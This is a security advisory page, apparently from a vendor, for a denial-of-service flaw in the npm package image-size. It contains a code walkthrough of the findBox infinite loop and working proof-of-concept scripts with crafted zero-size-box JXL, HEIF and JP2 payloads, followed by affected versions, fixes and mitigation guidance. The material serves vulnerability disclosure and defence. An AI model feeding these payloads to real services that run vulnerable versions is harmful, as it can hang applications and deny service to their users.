GHSA-m5qc-5hw7-8vg7 is a high-severity (CVSS 7.5) CWE-835 vulnerability in image-size. A fix is available for image-size — see the affected versions and patch details below.
image-size Denial of Service via Infinite Loop during Image Processing
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-m5qc-5hw7-8vg7.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-m5qc-5hw7-8vg7 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,567 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
image-sizenpmDescription
Summary
image-size is vulnerable to a Denial of Service vulnerability when processing specially crafted images.
The issue occurs because of an infine loop in findBox when processing certain images with a box with size 0.
Details
If the first bytes of the input does not match any bytes in firstBytes, then the package tries to validate the image using other handlers:
// https://github.com/image-size/image-size/blob/v1.2.0/lib/detector.ts#L20-L31
export function detector(input: Uint8Array): imageType | undefined {
const byte = input[0]
if (byte in firstBytes) {
const type = firstBytes[byte]
if (type && typeHandlers[type].validate(input)) {
return type
}
}
const finder = (key: imageType) => typeHandlers[key].validate(input) //<--
return keys.find(finder)
}
Some handlers that call findBox to validate or calculate the image size are jxl, heif and jp2.
JXL handler calls findBox inside validate. To reach the findBox call, the value at position 4:8 should be 'JXL '
// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/jxl.ts#L51-L60
export const JXL: IImage = {
validate: (input: Uint8Array): boolean => {
const boxType = toUTF8String(input, 4, 8)
if (boxType !== 'JXL ') return false //<---
const ftypBox = findBox(input, 'ftyp', 0) //<---
if (!ftypBox) return false
const brand = toUTF8String(input, ftypBox.offset + 8, ftypBox.offset + 12)
return brand === 'jxl '
},
findBox can lead to an infinite loop because the value of box.size is 0, thus the offset variable is not updated. Below relevant code with comments (using one of the PAYLOAD below as example):
// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L33-L37
export const readUInt32BE = (input: Uint8Array, offset = 0) =>
input[offset] * 2 ** 24 + // 0 +
input[offset + 1] * 2 ** 16 + // 0 +
input[offset + 2] * 2 ** 8 + // 0 +
input[offset + 3] // 0
// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L66-L75
function readBox(input: Uint8Array, offset: number) { // offset: 0
if (input.length - offset < 4) return
const boxSize = readUInt32BE(input, offset) // 0
if (input.length - offset < boxSize) return // (8 - 0) < 0 => false
return {
name: toUTF8String(input, 4 + offset, 8 + offset), // 'JXL '
offset, // 0
size: boxSize, // 0
}
}
// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L77-L84
export function findBox(input: Uint8Array, boxName: string, offset: number) { // boxName: 'ftyp', offset: 0
while (offset < input.length) { // 0 < 8 => false
const box = readBox(input, offset) // { name: 'JXL ', offset: 0, size: 0 }
if (!box) break // false
if (box.name === boxName) return box // 'JXL ' === 'ftyp' => false
offset += box.size // offset += 0
}
}
A similar issue occurs for HEIF and JP2 handlers:
- https://github.com/image-size/image-size/blob/v1.2.0/lib/types/heif.ts
- https://github.com/image-size/image-size/blob/v1.2.0/lib/types/jp2.ts
PoC
Usage:
node main.js poc1|poc2
- poc for
[email protected]
// mkdir 2.0.1
// cd 2.0.1/
// npm i [email protected]
const {imageSizeFromFile} = require("image-size/fromFile");
const {imageSize} = require("image-size");
const fs = require('fs');
// JXL
const PAYLOAD = new Uint8Array([
0x00, 0x00, 0x00, 0x00, // Box with size 0
0x4A, 0x58, 0x4C, 0x20, // "JXL "
]);
// HEIF
// const PAYLOAD = new Uint8Array([
// 0x00, 0x00, 0x00, 0x00, // Box with size 0
// 0x66, 0x74, 0x79, 0x70, // "ftyp"
// 0x61, 0x76, 0x69, 0x66 // "avif"
// ]);
// JP2
// const PAYLOAD = new Uint8Array([
// 0x00, 0x00, 0x00, 0x00, // Box with size 0
// 0x6A, 0x50, 0x20, 0x20, // "jP "
// ]);
const FILENAME = "./poc.svg"
function createPayload() {
fs.writeFileSync(FILENAME, PAYLOAD);
}
function poc1() {
(async () => {
await imageSizeFromFile(FILENAME)
console.log('Done') // never executed
})();
}
function poc2() {
imageSize(PAYLOAD)
console.log('Done') // never executed
}
const pocs = new Map();
pocs.set('poc1', poc1); // node main.js poc1
pocs.set('poc2', poc2); // node main.js poc2
async function run() {
createPayload()
const args = process.argv.slice(2);
const t = args[0];
const poc = pocs.get(t) || poc1;
console.log(`Running poc....`)
await poc();
}
run();
- poc for
[email protected]
// mkdir 1.2.0
// cd 1.2.0/
// npm i [email protected]
const sizeOf = require("image-size");
const fs = require('fs');
// JXL
const PAYLOAD = new Uint8Array([
0x00, 0x00, 0x00, 0x00, // Box with size 0
0x4A, 0x58, 0x4C, 0x20, // "JXL "
]);
// HEIF
// const PAYLOAD = new Uint8Array([
// 0x00, 0x00, 0x00, 0x00, // Box with size 0
// 0x66, 0x74, 0x79, 0x70, // "ftyp"
// 0x61, 0x76, 0x69, 0x66 // "avif"
// ]);
// JP2
// const PAYLOAD = new Uint8Array([
// 0x00, 0x00, 0x00, 0x00, // Box with size 0
// 0x6A, 0x50, 0x20, 0x20, // "jP "
// ]);
const FILENAME = "./poc.svg"
function createPayload() {
fs.writeFileSync(FILENAME, PAYLOAD);
}
function poc1() {
sizeOf(FILENAME)
console.log('Done') // never executed
}
function poc2() {
sizeOf(PAYLOAD)
console.log('Done') // never executed
}
const pocs = new Map();
pocs.set('poc1', poc1); // node main.js poc1
pocs.set('poc2', poc2); // node main.js poc2
async function run() {
createPayload()
const args = process.argv.slice(2);
const t = args[0];
const poc = pocs.get(t) || poc1;
console.log(`Running poc....`)
await poc();
}
run();
- poc for
[email protected]
// mkdir 1.1.1
// cd 1.1.1/
// npm i [email protected]
const sizeOf = require("image-size");
const fs = require('fs');
// HEIF
const PAYLOAD = new Uint8Array([
0x00, 0x00, 0x00, 0x00, // Box with size 0
0x66, 0x74, 0x79, 0x70, // "ftyp"
0x61, 0x76, 0x69, 0x66 // "avif"
]);
const FILENAME = "./poc.svg"
function createPayload() {
fs.writeFileSync(FILENAME, PAYLOAD);
}
function poc1() {
sizeOf(FILENAME)
console.log('Done') // never executed
}
function poc2() {
sizeOf(PAYLOAD)
console.log('Done') // never executed
}
const pocs = new Map();
pocs.set('poc1', poc1); // node main.js poc1
pocs.set('poc2', poc2); // node main.js poc2
async function run() {
createPayload()
const args = process.argv.slice(2);
const t = args[0];
const poc = pocs.get(t) || poc1;
console.log(`Running poc....`)
await poc();
}
run();
Impact
Denial of Service
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | image-size | ≥ 1.1.0&&< 1.2.1 | 1.2.1npm install image-size@1.2.1 |
| 📦npm | image-size | ≥ 2.0.0&&< 2.0.2 | 2.0.2npm install image-size@2.0.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for image-size, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update image-size to 1.2.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-m5qc-5hw7-8vg7 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-m5qc-5hw7-8vg7 can be triaged on real exposure rather than presence alone.
Tailored to GHSA-m5qc-5hw7-8vg7. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
This is an Important denial of service vulnerability in the `image-size` component, which can be triggered remotely by processing specially crafted JXL, HEIF, or JP2 image files containing zero-sized boxes. This flaw can lead to an application hang due to an infinite loop in the `findBox` function, impacting the…
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat Discovery 2 | discovery/discovery-ui-rhel9:1782756541 | RHSA-2026:33313 |
| Red Hat Trusted Artifact Signer 1.4 | rhtas/rekor-search-ui-rhel9:1783327185 | RHSA-2026:37272 |
Frequently Asked Questions
Is GHSA-m5qc-5hw7-8vg7 in your dependencies?
O3 Security finds GHSA-m5qc-5hw7-8vg7 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.